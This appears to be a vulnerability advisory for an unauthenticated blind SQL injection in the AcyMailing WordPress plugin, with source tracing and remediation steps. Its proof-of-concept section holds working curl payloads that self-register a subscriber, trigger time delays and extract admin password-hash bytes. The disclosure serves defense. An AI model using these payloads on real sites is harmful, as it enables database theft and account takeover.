WordPress Plugin Vulnerabilities
AcyMailing < 10.11.1 - Unauthenticated SQL Injection via subscription[] Parameter
Description
## Summary
AcyMailing exposes a front-end controller router (`?page=acymailing_front`) whose
`FrontusersController` declares a set of **public** tasks
(`$this->publicFrontTasks`) that run for anonymous visitors, including
`subscribe` and `unsubscribe` (`front/FrontControllers/FrontusersController.php:34-46`).
The `unsubscribe` task reads the list ids to unsubscribe from the request array
`subscription[]` and passes them, unmodified, into `UserClass::unsubscribe()`,
which builds a raw `DELETE` statement by imploding that array directly into a
SQL `IN()` clause:
```php
// back/Classes/UserClass.php:718-723
acym_query(
'DELETE FROM #__acym_queue WHERE user_id = '.intval($userId).' AND mail_id IN (
SELECT followup_mail.mail_id FROM #__acym_followup_has_mail AS followup_mail
JOIN #__acym_followup AS followup ON followup.id = followup_mail.followup_id AND followup.list_id IN ('.implode(',', $lists).')
)'
);
```
`$lists` is the attacker-controlled `subscription[]` array. It is **not** passed
through integer coercion before the implode - even though the two sibling methods
that build the identical `IN()` clause both call `acym_arrayToInteger()` first:
```php
// back/Classes/UserClass.php:759 (unsubscribeOnSubscriptions) and :774 (removeSubscription)
acym_arrayToInteger($listIds);
... 'AND list_id IN ('.implode(',', $listIds).')' ...
```
The value survives the plugin's generic request sanitizer intact:
`acym_getVar('array', 'subscription', [])` casts to array, runs
`acym_stripslashes()` (which **removes** the slashes WordPress adds via magic
quotes) and then `acym_cleanVar($v, 'array', 0)` - and `acym_cleanVar` has **no
`array` or `int` case**: for each element it only `trim()`s and strips HTML tags
(`back/Core/wordpress/security.php:64-118`). A payload such as
`0) UNION SELECT SLEEP(5) FROM DUAL WHERE 1 OR (1` therefore reaches
`$wpdb->query()` byte-for-byte. `acym_query()` performs no escaping - it only
substitutes the `#__` table prefix (`back/Core/wordpress/database.php:12-20,44-54`).
Because the `subscription[]` values land in a **numeric** `IN()` context and the
quotes-based defence (magic quotes) is explicitly undone, this is a clean,
quote-free SQL injection reachable **without authentication** (the attacker
self-registers a subscriber through the equally-public `subscribe` task, which is
allowed by the default `allow_visitor = 1`, and the default `captcha = none`
means no challenge).
No prior vulnerability matches this: AcyMailing's published advisories are
Subscriber+ privilege escalation (fixed 10.8.2 / 10.9.0), reflected XSS, an open
redirect, and a Subscriber+ file upload; the only listed SQL injection
(CVE-2026-3396) is against the legacy 4.x code line, not this v10 WordPress
plugin (checked Patchstack, WPScan and public CVE sources).
## CVSS
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N` = **8.2 (High)**
- **AV:N / AC:L / PR:N / UI:N** - a single unauthenticated POST to the public
front router; the attacker self-registers the required subscriber via the
public `subscribe` task first.
- **C:H** - blind SQL injection allows reading any data in the WordPress database,
including `wp_users.user_pass` hashes and secret keys/tokens stored in
`wp_options`.
- **I:L** - the injection sits inside a `DELETE`; the primary impact is read via
blind sub-selects, with limited integrity effect on the queue table.
- **A:N**.
CWE-89 (SQL Injection). OWASP Top 10 2021: A03 Injection.
Realistic exploitation precondition (see Notes): the injected sub-select is
evaluated only when the attacker's subscriber has at least one row in the send
queue (`#__acym_queue`) - the normal state on an active newsletter site, and one
the attacker can arrange by subscribing to a list that has a welcome / follow-up
autoresponder. This does not change the vector but is called out honestly.
## Affected
| Item | Value |
| --- | --- |
| Plugin slug | `acymailing` |
| Plugin name | AcyMailing (Newsletter, Email Marketing, Automation, SMTP) |
| Affected versions | <= 10.11.0 (current release at time of writing) |
| Tested version | 10.11.0 |
| Active installs | 7,000+ |
| Auth | Unauthenticated (attacker self-registers a subscriber via the public `subscribe` task) |
| Preconditions | Defaults `allow_visitor = 1`, `captcha = none`; and >= 1 queued message (`#__acym_queue`) for the attacker's subscriber (welcome / follow-up / scheduled campaign). |
Vulnerable source (line numbers refer to `acymailing.10.11.0.zip`):
- `front/FrontControllers/FrontusersController.php:34-46` - `unsubscribe` (and `subscribe`) declared in `$this->publicFrontTasks`
- `front/FrontControllers/FrontusersController.php:208-211,247` - `unsubscribeDirectly()` reads `subscription[]`, merges, calls `UserClass::unsubscribe([$id], $unsubscribeLists)`
- `back/Classes/UserClass.php:651,684-712` - `unsubscribe()`; the per-list loop validates entries but the sink uses the raw array
- `back/Classes/UserClass.php:718-723` - **the vulnerable `DELETE` with `implode(',', $lists)`** (no `acym_arrayToInteger`)
- `back/Classes/UserClass.php:759,774` - sibling methods that DO call `acym_arrayToInteger()` before the same `IN()` implode
- `back/Core/wordpress/security.php:5-48` - `acym_getVar()` (array path: stripslashes + cleanVar)
- `back/Core/wordpress/security.php:64-118` - `acym_cleanVar()` (no int/array coercion)
- `back/Core/wordpress/database.php:12-20,44-54` - `acym_query()` / `acym_prepareQuery()` (no escaping)
## Technical Details
### Public, unauthenticated entry point
```php
// front/FrontControllers/FrontusersController.php:34-46 (trimmed)
$this->publicFrontTasks = [
'subscribe',
'unsubscribe',
...
];
```
`subscribe` (default `allow_visitor = 1`) lets an anonymous visitor create a
subscriber row; `unsubscribe` then reaches the injection.
### The attacker-controlled array flows in unsanitised
```php
// front/FrontControllers/FrontusersController.php:208-211,247 (unsubscribeDirectly)
$visibleSubscription = acym_getVar('array', 'subscription', []); // ATTACKER
$hiddenLists = trim(acym_getVar('string', 'hiddenlists', ''));
...
$unsubscribeLists = array_merge($visibleSubscription, $hiddenSubscription);
...
} elseif (false === $userClass->unsubscribe([$alreadyExists->id], $unsubscribeLists)) {
```
```php
// back/Core/wordpress/security.php:40-48 (acym_getVar, array branch)
if ($type === 'array') { $result = (array)$result; }
if (in_array($source, ['POST', 'REQUEST', 'GET', 'COOKIE'])) {
$result = acym_stripslashes($result); // UNDOES WP magic quotes
}
return acym_cleanVar($result, $type, $mask);
```
```php
// back/Core/wordpress/security.php:64-97 (acym_cleanVar - no 'array'/'int' case)
function acym_cleanVar($var, $type, $mask) {
if (is_array($var)) {
foreach ($var as $i => $val) { $var[$i] = acym_cleanVar($val, $type, $mask); }
return $var;
}
switch ($type) {
case 'string': $var = strval($var); break;
case 'int': $var = intval($var); break;
...
default: break; // 'array' hits default -> NO coercion
}
... // only trim() + strip HTML tags below
}
```
### The sink: raw implode into a numeric `IN()`
```php
// back/Classes/UserClass.php:718-723
acym_query(
'DELETE FROM #__acym_queue WHERE user_id = '.intval($userId).' AND mail_id IN (
SELECT followup_mail.mail_id FROM #__acym_followup_has_mail AS followup_mail
JOIN #__acym_followup AS followup ON followup.id = followup_mail.followup_id AND followup.list_id IN ('.implode(',', $lists).') // INJECTION
)'
);
```
```php
// back/Core/wordpress/database.php:12-20 + 44-54 (acym_query -> raw $wpdb->query)
function acym_query(string $query) {
global $wpdb;
$query = acym_prepareQuery($query); // only str_replace('#__', $wpdb->prefix, ...)
$result = $wpdb->query($query); // NO prepare / escaping
...
}
```
The DELETE runs once per resolved `$userId` (the attacker's own subscriber),
independently of whether the injected value matched a subscribed list, so the
injected sub-select is executed whenever the queue holds a row for that user.
## Proof of Concept
```bash
# 1) anonymously self-register a subscriber (default allow_visitor=1, captcha=none)
curl -sS 'https://victim.example/?page=acymailing_front' \
-d ctrl=frontusers -d task=subscribe -d ajax=1 \
--data-urlencode 'user[email]=attacker@evil.test' --data-urlencode 'subscription[1]=1'
# 2) time-based blind SQLi through subscription[] on the unsubscribe task
curl -sS 'https://victim.example/?page=acymailing_front' \
-d ctrl=frontusers -d task=unsubscribe -d ajax=1 \
--data-urlencode 'user[email]=attacker@evil.test' \
--data-urlencode 'subscription[0]=0) UNION SELECT SLEEP(5) FROM DUAL WHERE 1 OR (1'
# -> the response is delayed ~5s
# 3) blind read of the admin password hash (delay => first char is '$')
curl -sS 'https://victim.example/?page=acymailing_front' \
-d ctrl=frontusers -d task=unsubscribe -d ajax=1 \
--data-urlencode 'user[email]=attacker@evil.test' \
--data-urlencode "subscription[0]=0) UNION SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1),1,1))=36,SLEEP(5),0) FROM DUAL WHERE 1 OR (1"
```
The injected string becomes
`... followup.list_id IN (0) UNION SELECT SLEEP(5) FROM DUAL WHERE 1 OR (1)` -
the parentheses balance against the query's own trailing `)`, the `UNION SELECT`
column count matches the single-column sub-select, and `SLEEP()` executes.
### Automated harness
```
docker-compose.yml # WordPress 7.0 + MariaDB + wp-cli, port 8113
poc.sh # anon subscribe -> queue precondition -> baseline vs SLEEP -> blind read of wp_users.user_pass
```
```bash
chmod +x poc.sh && ./poc.sh
```
Observed (`baseline 0.043s` vs `SLEEP(5) 5.04s`):
```
[PASS] acymailing version pinned to 10.11.0
[PASS] AcyMailing tables installed (wp_acym_user present)
[PASS] anonymous subscribe created AcyMailing user row (id=1) - no auth required
[PASS] subscriber has a queued message (#__acym_queue rows=1) - the normal followup/campaign state the unsubscribe DELETE processes
[PASS] UNAUTH TIME-BASED SQLi: SLEEP(5) delayed the anonymous response by 5.00s (>= 4s) - the subscription[] value is executed as SQL
[PASS] UNAUTH DATA EXFIL: the boolean predicate on wp_users.user_pass returned TRUE via SLEEP (5.07s delay) - anonymous read of WordPress password-hash bytes confirmed
[PASS] control: FALSE predicate did NOT delay (-0.02s) - the delay is caused by the injected predicate, not by load
7 PASS, 0 FAIL
```
## Why This Matters
- **Full database read, unauthenticated.** Blind sub-selects let an anonymous
attacker exfiltrate any table - `wp_users` password hashes, `wp_options` secret
keys / API tokens, subscriber PII - one boolean/time probe at a time.
- **Credential theft and account takeover.** Extracting `user_pass` hashes enables
offline cracking; extracting auth-related secrets can enable session/nonce
forgery.
- **Large, active install base.** 7,000+ sites run AcyMailing precisely to send
campaigns, so the queue precondition is the ordinary operating state.
Attack scenario: the attacker (1) POSTs `task=subscribe` to create a subscriber,
(2) if needed, subscribes to a list with a follow-up so the queue holds a message
for them, then (3) POSTs `task=unsubscribe` with a `subscription[]` boolean/time
payload and reads the database byte-by-byte from the response latency.
## Remediation
1. **Coerce the list ids to integers before the implode**, exactly as the sibling
methods already do:
```php
// back/Classes/UserClass.php, at the top of unsubscribe()
acym_arrayToInteger($lists); // same guard as unsubscribeOnSubscriptions()/removeSubscription()
```
With `$lists` reduced to integers, the `IN()` implode is safe.
2. Defence in depth: build the `DELETE`'s sub-select with `$wpdb->prepare()` and
`%d` placeholders, and have `acym_getVar('array', ...)` apply an element type
(e.g. an `int` element mask) so array parameters are coerced by default.
3. Require the per-user unsubscribe key / a nonce on the `unsubscribe` task so the
action cannot be driven purely from an anonymous self-registered account.
## Notes
- The `subscribe` and `unsubscribe` tasks are unauthenticated by design; the fix
is input coercion at the sink, not adding authentication.
- Exploitation observes the injection through blind channels (time / boolean); the
`unsubscribe` JSON response does not echo query results. The injected sub-select
is evaluated when the attacker's subscriber has >= 1 row in `#__acym_queue`
(a queued campaign or a welcome / follow-up autoresponder message) - the normal
state on an active newsletter site and one the attacker can arrange by
subscribing to a list with a follow-up configured. The harness seeds one queue
row to represent this state.